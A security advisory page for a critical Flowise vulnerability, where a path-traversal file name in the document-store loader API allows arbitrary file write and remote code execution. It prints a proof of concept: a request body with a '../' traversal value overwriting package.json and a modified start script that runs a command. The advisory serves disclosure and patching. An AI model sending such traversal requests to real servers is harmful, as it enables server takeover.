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CVE-2025-71338

CRITICAL

Flowise allows arbitrary file write to RCE

Published March 14, 2025Updated July 8, 2026Source: osv

Summary

### Summary An attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API. An attacker can reach RCE(Remote Code Execution) via file writing. ### Details All file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable. - addBase64FilesToStorage - addArrayFilesToStorage - addSingleFileToStorage The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification. ```javascript const filePath = path.join(dir, fileName) fs.writeFileSync(filePath, bf) ``` Therefore, users can move to the parent folder via `../` and write files to any path. Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways. In PoC (Proof of Concept), RCE was reached by overwriting package.json. ### PoC In PoC, `package.json` is overwritten. This is a scenario in which arbitrary code is executed when `pnpm start` is executed by changing the start command in the `scripts{}` statement to an arbitrary value. **- original start command** ```` "start": "run-script-os", ```` **- modify start command** ```` "start": "touch /tmp/pyozzi-poc && run-script-os", ```` When a user runs the `pnpm start` command, a `pyozzi-poc` file is created in the `/tmp` path. #### 1. package.json content base64 encoding ```json { "name": "flowise", "version": "1.8.2", "private": true, "homepage": "https://flowiseai.com", "workspaces": [ "packages/*", "flowise", "ui", "components" ], "scripts": { "build": "turbo run build && echo poc", "build-force": "pnpm clean && turbo run build --force", "dev": "turbo run dev --parallel", "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&) "start:windows": "cd packages/server/bin && run start", "start:default": "cd packages/server/bin && ./run start", "clean": "pnpm --filter \"./packages/**\" clean", "nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo", "format": "prettier --write \"**/*.{ts,tsx,md}\"", "lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"", "lint-fix": "pnpm lint --fix", "quick": "pretty-quick --staged", "postinstall": "husky install", "migration:create": "pnpm typeorm migration:create" }, ... skip ``` #### 2. Overwrite `package.json` via `/api/v1/document-store/loader/process` <img width="1329" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500"> > **Request Body** ```json { "loaderId": "textFile", "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb", "loaderName": "Text File", "loaderConfig": { "txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json", "textSplitter": "", "metadata": "", "omitMetadataKeys": "" } } ``` The part after `filename:` of the `txtFile` parameter is the value used as `fileName` in the function. Add `../` to the filename value to move to the top path, then specify `package.json` in the project folder `/usr/src/` as the path. <img width="663" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02"> Afterwards, when the user starts the server (`pnpm start`), the added script will be executed. (`touch /tmp/pyozzi-poc`) **- starting server with `touch /tmp/pyozzi-poc` command** <img width="737" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3"> **- `/tmp/pyozzi-poc` file created** <img width="751" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087"> ### Impact **Remote Code Execution (RCE)** Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.

Affected Packages (1)

PackageEcosystemAffectedFixed In
flowise
npm
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2025-71338?
Flowise allows arbitrary file write to RCE This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
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Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-8vvx-qvq9-5948

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